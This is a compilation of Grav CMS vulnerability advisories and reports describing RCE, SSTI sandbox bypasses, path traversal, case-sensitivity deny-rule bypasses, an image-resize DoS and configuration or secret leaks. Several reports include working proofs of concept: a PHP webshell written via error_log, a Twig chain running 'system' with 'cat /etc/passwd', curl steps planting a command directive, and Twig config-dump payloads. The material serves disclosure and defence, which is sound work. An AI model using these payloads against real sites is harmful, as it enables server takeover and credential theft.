Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to calluserfuncarray() without any allowlist. Because the form plugin routes page frontmatter through this path, an authenticated account with the admin.pages (or api.pages.write) permission can plant a malicious callable directive in a page. The command then executes as the web-server user whenever anyone — including an unauthenticated visitor — accesses the page.
Affected versions and vulnerable location
- Confirmed on grav core at 78ebfc1 (tag 2.0.13). - Sinks: - system/src/Grav/Common/Data/Blueprint.php:455-458 calluserfuncarray($o, $params) (bare-function dynamic-data provider). - Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 calluserfuncarray($function, $params). - Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536. - Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables. - Bare-function branch (:530-534) uses only a denylist: if (isstring($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);. - Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).
Root cause
GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.
errorlog is not on the denylist (verified: no occurrence in Utils.php). errorlog($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (streamsocketclient, dl, and mbsendmail are likewise absent, giving SSRF/other primitives.)
Attacker model
The same surface the published dynamic-data advisories accept as reachable: a data-@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.
Reachability trace
1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['errorlog', '<?php system($GET[0]); ?>', 3, 'user/data/x.php']. 2. Blueprint::init() resolves the directive; isSafeDynamicCall('errorlog', $params) reaches the bare-function branch (:530), isDangerousFunction('errorlog') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true. 3. calluserfuncarray('errorlog', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php. 4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct errorlog write, not an upload.
Reproduction
Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:
text [1] isSafeDynamicCall('errorlog', [payload,3,dest]) => true # guard ACCEPTS errorlog (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] calluserfuncarray('errorlog', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/gravrceproof.php']) file written: /tmp/gravrceproof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/gravrceproof.php => PWNED # arbitrary PHP executed (RCE)
The guard returns true for errorlog (and false for the denylisted system/exec controls), the errorlog sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:
bash rg -n "errorlog|streamsocketclient|mbsendmail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|calluserfuncarray" system/src/Grav/Common/Data/Blueprint.php
errorlog absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.
Suggested fix
Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: errorlog (arbitrary append), streamsocketclient (SSRF), and others must otherwise each be enumerated.
Severity and CVSS reasoning
Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).
Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.
- PR:L: a blueprint/page-edit account, not super. - C:H/I:H/A:H: arbitrary file write leading to code execution.
How I found it and a note on tooling
I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found errorlog missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts errorlog and rejects system/exec, and drove the errorlog sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.
Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.
Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofasecret, and hashedpassword. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.
Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: EMAIL@gmail.com fullname: 'Nijat Alizada' language: en contenteditor: default twofaenabled: false twofasecret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashedpassword: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true
Steps to Reproduce 1. Log in to the Grav Admin UI as an administrator. 2. Create a new user with the following values (example): a. Username: ..\POC-TOKEN-2025-09-29 b. Fullname: POC-TOKEN-2025-09-29 c. Email: poc+2025-09-29@example.test d. Password: (any password) Observe that a YAML file containing the POC-TOKEN is written outside user/accounts/ (for example in the parent directory of user/accounts)
Impact 1. Config corruption / service disruption: Overwriting system.yaml, email.yaml, or plugin config files with attacker-controlled YAML (even if limited to fields present in account YAML) could break functionality, disable services, or cause misconfiguration requiring recovery from backups. 2. Account takeover, any user with create user privilege can modify other user's email and password by just creating a new user with the name "..\accounts\USERNAMEOFVICTIM"
Proof of Concept https://github.com/user-attachments/assets/cf503d74-f765-4031-8e22-71f6b3630847
Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.
- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.
Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );
/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);
$form->message = $processedstring; break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.
php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }
PoC
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
We can run the program with this payload:
bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
- Go to pages - Add a page and create a new form or choose an exiting one
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
!image
!image
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
!image
Content of form:
title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
!image
Impact
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
Recommended Fix
- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.
Summary An unauthenticated visitor exhausts server memory and CPU by requesting an image with oversized resize dimensions. One request drives a worker to several gigabytes of RAM and tens of seconds of CPU. A few concurrent requests take the host down.
Details Grav::fallbackUrl() (system/src/Grav/Common/Grav.php:800-804) loops over every query parameter and, when the name matches ImageMedium::$magicactions, calls that method on the medium with the comma-split value as arguments:
php foreach ($uri->query(null, true) as $action => $params) { if (inarray($action, ImageMedium::$magicactions, true)) { calluserfuncarray([&$medium, $action], explode(',', $params)); } }
forceResize runs with force=true, so it sets the output size to the attacker's values with no clamp against the source or any ceiling. The getgrav/image GD adapter then calls imagecreatetruecolor($w, $h). libgd allocates that buffer outside PHP's emalloc, so memorylimit does not cap it. Grav exposes no system.images.maxwidth/maxheight setting.
PoC Any page that serves an image works. With a 200x150 source image:
GET /home/test.png?forceResize=20000,20000
Measured on PHP 8.4.21 with memorylimit=128M:
- peak worker RSS 3,109 MB - 21.9 s CPU - HTTP 200, 1.6 MB response
8000x8000 already needs ~244 MB. The cache key includes the dimensions, so varying them forces fresh work on every request.
Impact Unauthenticated denial of service against any Grav site that serves images. No account, plugin, or non-default config required.
Fix Clamp the request-derived dimensions before dispatch, behind a configurable cap. The image library is the wrong layer; bound the arguments at the request boundary.
diff --- a/system/src/Grav/Common/Grav.php +++ b/system/src/Grav/Common/Grav.php @@ public function fallbackUrl($path) foreach ($uri->query(null, true) as $action => $params) { if (inarray($action, ImageMedium::$magicactions, true)) { - calluserfuncarray([&$medium, $action], explode(',', $params)); + $args = explode(',', $params); + $max = (int) $config->get('system.images.maxdimension', 8000); + if ($max > 0 + && inarray($action, ['resize', 'forceResize', 'cropResize', 'cropZoom', 'zoomCrop', 'crop'], true)) { + foreach ($args as $a) { + if (isnumeric($a) && (int) $a > $max) { + return false; // reject oversized derivative request + } + } + } + calluserfuncarray([&$medium, $action], $args); } }
Document system.images.maxdimension (default 8000) so operators can tune it. A total-pixel ceiling (width height) is a stricter alternative.
Grav before 2.0.4 ships a default .htaccess (and reference webserver-configs/htaccess.txt) whose rules blocking access to sensitive file types (.yaml, .php, .json, etc.) lack the [NC] flag, making extension matching case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Docker volume mounts), an unauthenticated attacker can request these files with uppercase or mixed-case extensions (e.g., .YAML, .PHP) to bypass the restrictions and read sensitive configuration files that may contain API keys and credentials.
The getgrav/grav-plugin-api plugin before 1.0.13 fails to validate that the scopes of a newly created API key are a subset of the caller's scopes in createApiKey. The self-target path of requireApiKeyPermission() requires only the baseline api.access scope, and the new key's scopes are read directly from the request body with no subset check. An attacker holding a minimal-scope API key on a super account can submit an empty scopes array to mint an unscoped, full-access super key, bypassing scope restrictions (and enabling further chains such as configuration write to RCE).
Summary An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.
Details Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to calluserfuncarray() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.
PoC Placeholders: <BASEURL> the site; <SESSIONCOOKIE> an admin session cookie for an account with admin.pages; <ADMINNONCE> the admin-nonce on any admin page (window.GravAdmin.config.adminnonce).
Save a "form" page whose field carries the callable directive:
curl '<BASEURL>/admin/pages/rcepoc' \ -H 'Cookie: <SESSIONCOOKIE>' \ --data-urlencode 'task=save' \ --data-urlencode 'admin-nonce=<ADMINNONCE>' \ --data-urlencode 'data[folder]=rcepoc' \ --data-urlencode 'data[name]=form' \ --data-urlencode 'data[title]=x' \ --data-urlencode 'data[content]=hi' \ --data-urlencode "data[frontmatter]=forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::arrayFilterRecursive' - { 'echo GRAV-RCE-OK; id': 'x' } - system"
Trigger it as an unauthenticated visitor:
curl '<BASEURL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.
Impact Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.
Grav before 3.9.2 fails to validate untrusted Host headers in the sendInvitationEmail() function when constructing token-bearing invitation links. Attackers can manipulate the Host header to poison invitation links and redirect users to attacker-controlled domains, bypassing the requiretrustedhost protection which only covers password reset flows.
The getgrav/grav-plugin-login Composer plugin before 3.9.1 (used by Grav) compares password reset and account activation tokens using a non-constant-time === string comparison instead of hashequals() in classes/Controller.php (taskReset()) and login.php (activation handler). Because the token-submission endpoint (taskReset) also lacks rate limiting, an attacker could in principle send repeated token guesses against a known username and use the timing differences to attempt to recover a valid token, though the vendor rates the practical exploitability as low and no end-to-end network exploit has been demonstrated.
Grav is a flat-file CMS. In versions 2.0.0-rc.1 through 2.0.21, the Twig content sandbox fails to restrict the dump and serialize filters (printr, vardump, jsonencode, yamlencode, string): GravExtension::assertSandboxDumpSafe() determines sandbox state by calling SandboxExtension::isSandboxed() without a Source argument, which reports only the global sandbox flag that Grav never enables, so the guard added in GHSA-mc5q-6hpj-rp7j never executes. As a result, an authenticated user with page-edit rights can render {{ config|printr }} in page content with Twig processing enabled and dump Grav's entire merged configuration — printr reflects the real Config object held in a private property of the SandboxConfig facade, bypassing its path redaction — exposing plugin secrets such as SMTP credentials, API tokens, webhook secrets and cache backend passwords. Grav 1.7 is not affected because it ships no Twig content sandbox. The issue is fixed in 2.0.22, where the affected filters are registered with Twig's needsissandboxed flag.
Grav before 2.0.25 ships web server configuration samples whose access-control deny rules are matched case-sensitively. In webserver-configs/web.config (IIS), every deny rule (usersensitivefolders, useraccounts, userdata, usererrorredirect, userpages, system, vendor, ignorefolders) sets ignoreCase="false" on its URL Rewrite <match> element, overriding the IIS default of ignoreCase="true"; because these are rewrite matches rather than <requestFiltering> elements, there is no case-insensitive fallback. On IIS running over case-insensitive NTFS, an unauthenticated remote attacker can vary the case of a folder name or file extension (for example GET /user/CONFIG/system.YAML) so that no deny rule matches and the IIS static file handler resolves and returns the underlying file, disclosing sensitive data such as configuration secrets or account password hashes. Whether a bypassed file is actually returned depends on MIME registration: .json is served by default, while .yaml/.yml return HTTP 404.3 on a stock IIS unless a YAML MIME mapping has been added. The same class of gap exists in the bundled webserver-configs/lighttpd.conf, whose user/(config|env), directory, script-extension, root-file and dotfile rules lack the (?i) modifier, though it is lower risk because lighttpd typically runs on case-sensitive filesystems. Deployments served by Apache (.htaccess), nginx, Caddy, or the PHP built-in server are not affected. The issue is fixed in 2.0.25; because the .htaccess installer heal does not touch web.config or lighttpd.conf, operators must re-copy the corrected sample files after upgrading.
Summary Due to a broken access control vulnerability in the /admin/pages/{pagename} endpoint, an editor ( user with full permissions to pages ) can change the functionality of a form after submission.
Details Due to improper authorization checks when modifying critical fields on a POST request to /admin/pages/{pagename}, an editor with only permissions to change basic content on the form is now able to change the functioning of the form through modifying the content of the data[json][header][form] which is the YAML frontmatter which includes the process section which dictates what happens after a user submits the form which include some important actions that could lead to further vulnerabilities.
PoC
- Have Admin and Form plugins installed - Connect to panel as admin, create user and give him permission for pages all - Now connect as that user and notice you cant edit any process field in the panel - Change anything in the content of the form and save - Intercept the request: !image
- Now modify the field data[json][header][form] with the following payload URL-encoded not like this: {"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[{"message":"{{ evaluatetwig(form.value('name')) }}"}]}
- Change the field and forward it: !image
Request goes through and changes have been made to the form. !image
Impact
- Attacker can modify submission logic of the form which leads to changing redirect value, email sending, changing template, breaking out of the Twig sandbox potentially executing code...
Fix recommendation
- Implement proper authorization checks to such requests especially when it contains fields user shouldn't be able to modify based on his role.
Grav is a flat-file CMS. In versions 2.0.19 through 2.0.24 — and in 2.0.0 through 2.0.18 and 1.7.x only where content Twig has been explicitly enabled — page content authored by a user holding only page-write permission is rendered through a Twig sandbox that allowlists getcookie(), which returns any cookie sent with the current request, including the visitor's session cookie. Because the read occurs server-side via filterinput(INPUTCOOKIE, ...), the HttpOnly, Secure and SameSite attributes offer no protection. Grav then stores the finished post-Twig output in a page-content cache keyed only on page identity and the configuration checksum, with no session, user or request dimension and no bypass for authenticated visitors. A page published by a page-write user can therefore capture the session identifier of the next administrator who views it, after which the cached output serves that identifier to unauthenticated visitors, who can replay the cookie to authenticate as that administrator. Since 2.0.19, security.twigcontent.processenabled defaults to true and Security::applyTwigContentDefault() derives each page's process.twig flag from that gate, so content Twig runs on every page with no frontmatter or operator action. Fixed in 2.0.25; 1.7.x is outside the backport scope.
Summary
- A low privilege user account with page editing privilege can read any server files using "Frontmatter" form. - This includes Grav user account files - /grav/user/accounts/.yaml. This file stores hashed user password, 2FA secret, and the password reset token. - This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.
Details The vulnerability can be found in /user/plugins/form/templates/forms/fields/display/display.html.twig !image
PoC 1. This PoC was conducted on Grav CMS version 1.7.46 and Admin Plugin version 1.10.46 !image
2. go to “http://grav.local/admin/pages” then create new page with “Page Template” option set to “Form”. !image
3. Then go to “Expert” and on Frontmatter input box used to following form template.
!image
4. Save page and go the preview or published page you will see the content of “/etc/passwd” file on the server. !image
Impact This can allow a low privileged user to perform a full account takeover of other registered users including Administrators. This can also allow an adversary to read any file on the web server. And Due to insufficient permission verification , user who can write a page also can use frontmatter feature using this IDOR vulnerability PoC IDOR mention in CVE-2024-2792
Verified against: getgrav/grav devel branch, GRAVVERSION = "2.0.15", file index.php
Title Unauthenticated Path Traversal via Missing Directory-Boundary Check in plugin-asset-map.php Static Asset Server (index.php)
Product / Affected Versions - Product: getgrav/grav - File: index.php (top-level front controller, runs before Grav itself boots) - Confirmed present in: devel branch, 2.0.15 - Precondition: requires user/config/plugin-asset-map.php to exist and contain at least one route-prefix mapping ,this is an opt-in mechanism (per the code comment: "Fast static asset serving for plugins that bundle SPA apps"). No core mechanism generates this file automatically; it's created by a plugin that opts into this fast-path. Not reachable on a stock Grav install with no such plugin. Where reachable, it requires zero authentication.
CWE CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') , specific mechanism: a path-prefix containment check performed with plain string comparison (strstartswith) instead of a directory-boundary-aware comparison, allowing escape into any sibling path whose name happens to extend the base directory's name as a string.
Description
index.php implements a fast-path static file server that runs before Grav's own routing/security stack, gated on the presence of an asset-map file:
php $assetMapFile = DIR . '/user/config/plugin-asset-map.php'; if (isfile($assetMapFile)) { $assetMap = require $assetMapFile; foreach ($assetMap as $routePrefix => $diskPath) { if (strstartswith($path, $routePrefix)) { $relPath = substr($path, strlen($routePrefix)); $filePath = DIR . '/' . ltrim($diskPath, '/') . $relPath; $realFile = realpath($filePath); $realBase = realpath(DIR . '/' . ltrim($diskPath, '/')); if ($realFile && $realBase && strstartswith($realFile, $realBase) && isfile($realFile)) { // ... serves $realFile directly, with Content-Type inferred from extension readfile($realFile); exit; } } } }
realpath() correctly resolves .. sequences, so a naive ../../etc/passwd-style traversal that leaves the filesystem entirely is blocked (it wouldn't share the $realBase string prefix). But the containment check itself, strstartswith($realFile, $realBase), has no directory-boundary awareness it's a plain string-prefix test, not "is $realFile inside the $realBase directory." Any resolved path whose string representation merely begins with the same characters as $realBase passes, including sibling directories that extend the base directory's name (assets → assets-secret, assets.bak, assetsold, assets2, etc.) a very common real-world directory-naming pattern (backup dirs, versioned dirs, disabled/legacy dirs sitting alongside the active one).
Live Proof of Concept
Setup: the exact code block above, extracted verbatim from index.php, executed with PHP 8.3.6 against a realistic directory layout (a plugin's active assets/ dir sitting next to an unrelated assets-secret/ dir containing a fake secret):
user/plugins/myplugin/assets/app.js <- intended, public user/plugins/myplugin/assets-secret/config.php <- NOT intended to be served user/config/plugin-asset-map.php: return ['/myplugin-assets' => 'user/plugins/myplugin/assets'];
Legitimate request (/myplugin-assets/app.js): realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets/app.js' realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets' >> WOULD SERVE FILE <<< >> Content: public asset content
Traversal request (/myplugin-assets/../assets-secret/config.php): realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets-secret/config.php' realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets' >> WOULD SERVE FILE <<< >> Content: SECRETAPIKEY=sklivetotallysecret12345
strstartswith('.../assets-secret/config.php', '.../assets') evaluates true because assets-secret literally begins with the characters assets there is no separator-boundary check (e.g. requiring $realBase . '/' as the actual prefix) to prevent this.
Trust-boundary framing (per Grav's own SECURITY.md) This code path requires no Grav account , it runs before Grav even initializes, directly off the raw request path. Per Grav's own stated criteria: "An unauthenticated attacker can achieve RCE, exfiltrate site data, or gain admin-equivalent control. No Grav account required" → this matches the CRITICAL bar exactly, for any deployment where the plugin-asset-map.php mechanism is in active use.
Suggested Fix Append a trailing directory separator before the prefix comparison, or use a proper containment check: php if ($realFile && $realBase && ( $realFile === $realBase || strstartswith($realFile, $realBase . DIRECTORYSEPARATOR) ) && isfile($realFile)) { This is the standard fix for this exact bug class , ensuring the matched prefix ends exactly at a directory boundary, not partway through a longer sibling name.
Summary
The default .htaccess shipped with Grav (and the reference webserver-configs/htaccess.txt) contains security rules that block direct HTTP access to sensitive file types (.yaml, .yml, .php, .json, .twig, etc.) under user/ and system/vendor/ directories. However, these rules lack the [NC] (No Case) flag, making them case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Linux with Docker volumes mounted from Windows/macOS), an attacker can bypass these rules by requesting files with uppercase extensions (e.g., .YAML, .PHP, .JSON).
Affected Versions
- Grav 2.0.1 (latest stable as of June 2026) — confirmed - Grav 1.7.x — likely affected (same .htaccess rules) - All versions shipping the current webserver-configs/htaccess.txt
Affected Component
File: .htaccess (root of Grav installation) Reference: webserver-configs/htaccess.txt
Affected Rules (lines 68, 70, 72)
apache Line 68 — system/vendor file types RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]
Line 70 — user file types RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]
Line 72 — .md files globally RewriteRule \.md$ error [F]
All three rules use [F] without [NC], making the extension match case-sensitive.
Steps to Reproduce
1. Install Grav on a system with a case-insensitive filesystem: - Windows (native WAMP/XAMPP) - macOS (default HFS+) - Docker on Windows/macOS with volume mounts (e.g., ./data:/var/www/html)
2. Create or use any plugin that stores sensitive data in its YAML config (e.g., API keys): user/plugins/my-plugin/my-plugin.yaml
3. Request the file with a case-varied extension: GET /user/plugins/my-plugin/my-plugin.YAML HTTP/1.1
4. Expected: HTTP 403 Forbidden 5. Actual: HTTP 200 OK — full file contents returned, including any API keys or sensitive configuration
Impact
- Information disclosure: Plugin configuration files (.yaml) containing API keys, credentials, or sensitive settings can be read by unauthenticated users - Source code exposure: PHP source files can be downloaded (instead of executed) when requested with .PHP extension on some configurations - Configuration exposure: user/config/system.yaml, user/config/site.yaml, and other system configuration files are accessible
Fix
Add the [NC] flag to the three affected rules:
apache RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule \.md$ error [F,NC]
The [NC] flag makes the extension matching case-insensitive, covering .YAML, .Yaml, .PHP, .Json, etc.
Mitigating Factors
- On native Linux with ext4 filesystem (case-sensitive), the attack does not work because Apache cannot resolve the uppercase filename to the actual file - Grav 2.0's Twig sandbox blocks access to plugins config subtree from page content, preventing SSTI-based config exfiltration - The user/accounts/, user/config/, and user/data/ folders have separate rules (line 62, 66) that block ALL file types regardless of extension — these are not affected
Environment
- Grav: 2.0.1 - PHP: 8.3 - Apache: 2.4 with modrewrite - OS: Docker (php:8.3-apache) with volume mounted from Windows 10 (NTFS) - Tested: June 2026
Reporter
Sisnetic
Summary Having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload. Sensitive information may be contained in the configuration details.
PoC Create a simple form with two fields, 'registration-number' and 'hp'. Add a submit button and set the method to POST(screenshot attached below). Form name set to 'hero-form'. Send a POST request with the following payload and you will notice a response with a php array listing the whole Grav configuration details - including plugins(screenshot attached).
registration-number:d643aaaa
hp:vJyifp
form-name:hero-form
uniqueformid:{{vardump(context|slice(0,7))}}
!Screenshot 2025-03-25 at 7 26 02 AM
!Screenshot 2025-03-25 at 7 22 58 AM
Impact Server-Side Template (SST) vulnerability. The vulnerability affects the latest Grav version as of 25th of Match 2025 (1.7.48) with all plugins installed (including forms plugin v.7.4.2) to their latest versions as well.
Summary
The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.
Details
The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:
yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists'
The config object — which holds the full merged configuration tree including every key under plugins. — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):
php $twigvars = [..., 'config' => $config, ...]
Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:
{{ config.toArray()|jsonencode|raw }}
